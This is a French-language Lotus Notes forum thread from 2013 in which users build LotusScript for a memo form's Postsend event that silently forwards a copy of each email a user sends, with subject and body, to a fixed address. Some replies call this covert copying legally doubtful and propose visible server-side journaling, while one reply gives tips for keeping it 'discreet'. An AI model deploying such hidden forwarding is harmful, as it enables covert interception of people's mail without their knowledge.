Page 2 sur 2

Re: Envoi d'une copie d'un mail.

MessagePublié: 09 Juil 2013 à 14:45
par Michael DELIQUE
je vois ce que je peux faire.

par contre j'ai anonymiser ton code, tu avais laissé des noms en claire !

Re: Envoi d'une copie d'un mail.

MessagePublié: 09 Juil 2013 à 14:47
par djgrun
Pour être sur de ce que je te dis j'ai refait un test, mon code fonctionne bien, je ne sais juste pas récupérer l'objet et le corps du mail.

Re: Envoi d'une copie d'un mail.

MessagePublié: 09 Juil 2013 à 14:55
par Michael DELIQUE
essais ça, c'est pas testé, dans ton query send ou ton postsend


Code : Tout sélectionner
If Not source Is Nothing Then
      Dim DocMail As NotesDocument      
      Dim Session As New NotesSession
      Dim rtItem As NotesrichTextItem
      
      Set DocMail = Session.CurrentDatabase.CreateDocument
      Call DocMail.ReplaceItemValue("Form","memo")
      Call DocMail.ReplaceItemValue("Sendto","toto@toto.fr")
      Call DocMail.ReplaceItemValue("Subject" ,Source.FieldGetText("Subject"))
      Set rtItem = Source.Document.GetFirstItem("Body")
      If Not rtItem Is Nothing Then
         Call DocMail.CopyItem(rtItem)
         Set Item = Nothing
      End If
      
      Call DocMail.Send(False)
      Set DocMail = Nothing
   End If

Re: Envoi d'une copie d'un mail.

MessagePublié: 09 Juil 2013 à 16:07
par djgrun
bon, j'ai l'impression qu'on est vraiment pas loin.

Call DocMail.CopyItem(rtItem) il me refusait cette ligne car il manquait une valeur donc j'ai modifié comme ça : Call DocMail.CopyItem(rtItem,"body").

Il me dépose bien le mail dans la mail.box du serveur mais il ne l'envoi pas ^^

Re: Envoi d'une copie d'un mail.

MessagePublié: 10 Juil 2013 à 07:37
par djgrun
Bon après tests, ça fonctionne pratiquement, il récupère l'objet mais pas encore le corps du texte

Re: Envoi d'une copie d'un mail.

MessagePublié: 10 Juil 2013 à 08:14
par Jérôme Deniau
Le plus simple c'est la règle côté serveur (document de configuration), l'utilisateur ne peut pas le savoir et en plus l'admin Domino peut contrôler. Parce que pour petit rappel, c'est moyennement légal d'envoyer une copie à l'insu de l'émetteur et ce quel que soit le mail qu'il envoie...... Le fait de définir une règle serveur est plus transparente puisque c'est visible et on sait qu'elle est l'action faite.

Re: Envoi d'une copie d'un mail.

MessagePublié: 10 Juil 2013 à 10:25
par roubech
sinon c'est le principe de l'archivage des mails (pas une base mail archive, mais une notion d'archivage legal de tous les mails), mais que tu appliquerait à 1 seul user

dans le doc config, onglet Routr, onglet Advanced, onglet Journaling

Re: Envoi d'une copie d'un mail.

MessagePublié: 14 Juil 2013 à 15:10
par Dominux
Comme le précise @Jérôme, une règle de routage coté serveur est la solution la plus 'simple' : tu routes le mail suivant l'émetteur et l'absence de flag de whitelist dans une base dédiée, tu traites le mail dans cette base en modifiant ce que tu veux, tu réinjectes le mail dans la mailbox avec le flag de whitelist et hop il est routé ... bémol si le mail est signé bien entendu!!!

Re: Envoi d'une copie d'un mail.

MessagePublié: 19 Juil 2013 à 13:06
par cocotier74
Bonjour,

Si tu veux être "discret" sur cette mise en copie d'email (not CNIL friendly), méfies toi des emails avec accusés de réceptions, ça peut faire désordre...
J'ai déjà eu le cas, tu ouvres un email envoyé avec accusé de réception et le destinataire reçoit un accusé avec ton nom :shock: .

Bonne journée

Re: Envoi d'une copie d'un mail.

MessagePublié: 26 Sep 2013 à 16:32
par cyberscooty
Pour info : je suis le collègue de djgrun - on a bossé ensemble sur le problème et voici la solution (merci à Michael DELIQUE sans qui on y serai pas arrivé)

Dans le masque "Message | Memo" de la personne Aller dans la zone "Postsend" (action effectuée après un envoi)


Code : Tout sélectionner
Sub Postsend(Source As Notesuidocument)
   
   If Not source Is Nothing Then
      Dim DocMail As NotesDocument     
      Dim Session As New NotesSession
      Dim rtItem As NotesrichTextItem
      Dim destinataire As String   
      
      '======================================
          'Changer la valeur ci dessous - ne pas changer le reste du code   
      destinataire = "destinataire@mondomaine.fr"
           '======================================      
      
      Set DocMail = Session.CurrentDatabase.CreateDocument
      Call DocMail.ReplaceItemValue("Form","memo")
      Call DocMail.ReplaceItemValue("Sendto",destinataire)
      Call DocMail.ReplaceItemValue("Subject" ,"[redirect] " + Source.FieldGetText("Subject"))
      Set rtItem = Source.Document.GetFirstItem("Body")
      Call DocMail.CopyItem(rtItem,"")
      Call DocMail.Send(False)
   End If   
End Sub